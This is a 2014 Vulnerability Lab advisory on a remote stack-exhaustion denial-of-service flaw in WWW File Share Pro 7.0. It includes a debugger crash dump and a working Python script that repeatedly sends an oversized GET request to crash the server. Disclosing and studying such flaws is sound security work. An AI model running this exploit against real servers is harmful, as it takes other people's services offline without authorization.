WWW File Share Pro v7.0 - Denial of Service Vulnerability
http://www.vulnerability-lab.com/get_content.php?id=1310
Video: http://www.vulnerability-lab.com/get_content.php?id=1309
http://cwe.mitre.org/data/definitions/121.html
2014-08-30
1310
4.2
WWW File Share Pro can help you share files on the internet or on the local area network. You may use it to share files between your
PC and other devices if they may access your PC with an internet browser, regardless of what Operating System is installed on them.
What you need to do is to simply specify a download directory and a upload directory. Then run the internet browser on other devices to
download files from your computer or upload files from those devices to your computer. All popular internet browsers are supported, such
as Firefox, Chrome, Safari, Internet Explorer, Opera, etc. There is no need to install this software or any other software on other devices
because an internet browser is enough.
(Copy of the Vendor Homepage: http://www.wfshome.com/ )
The Vulnerability Laboratory Research Team discovered a remote Denial of Service Vulnerability in the official WWW File Share Pro v7.0 software.
2014-08-30: Public Disclosure (Vulnerability Laboratory)
Published
Remote
Medium
A critical stack exhaustion buffer overflow vulnerability resulting in remote denial of service has been detected in the
latest WWW File Share PRO 7.0 software. The vulnerability can be triggered by sending a large malformed HTTP GET request to
the vulnerable server. e.g. GET /upload2.htm/A * 100000 resulting in an immediate crash of the application.
(199c.189c): Unknown exception - code c000008f (first chance)
(199c.189c): Unknown exception - code c000008f (first chance)
(199c.189c): Stack overflow - code c00000fd (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0009334c ebx=006b7528 ecx=00000002 edx=00000000 esi=006b7528 edi=006b7528
eip=7549c42d esp=0009334c ebp=0009339c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
KERNELBASE!RaiseException+0x58:
Recommended Bug Title: Stack Exhaustion starting at KERNELBASE!RaiseException+0x0000000000000058 (Hash=0x217757a7.0x7b922161)
The vulnerability can be exploited by remote attackers without user interaction. For security demonstration or to reproduce
the vulnerability follow the provided information and steps below to continue.
PoC: Exploit
#!/usr/bin/python
import socket,sys
if len(sys.argv) != 3:
print "\r\nUsage: ./fsp.py <target> <port>\r\n\r\n "
sys.exit(0)
try:
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],port))
except:
print "\r\n\r\nCould not connect to target, already down? :/\r\n\r\n"
sys.exit()
count = 0
buffer = "GET /upload2.htm/"
buffer+= "\x41" * 100000
buffer+= " HTTP/1.0\r\n\r\n"
print "Sending garbage… \r\n"
while count < 500:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],port))
s.send(buffer)
s.close()
except:
print "Packets succesfuly sent...\r\n"
sys.exit()
The security risk of the remote stack exhaustion denial of service vulnerability is estimated as medium.
Vulnerability Laboratory [Research Team] - Ateeq Khan ([email protected]) [Twitter: @ohtheitguy]
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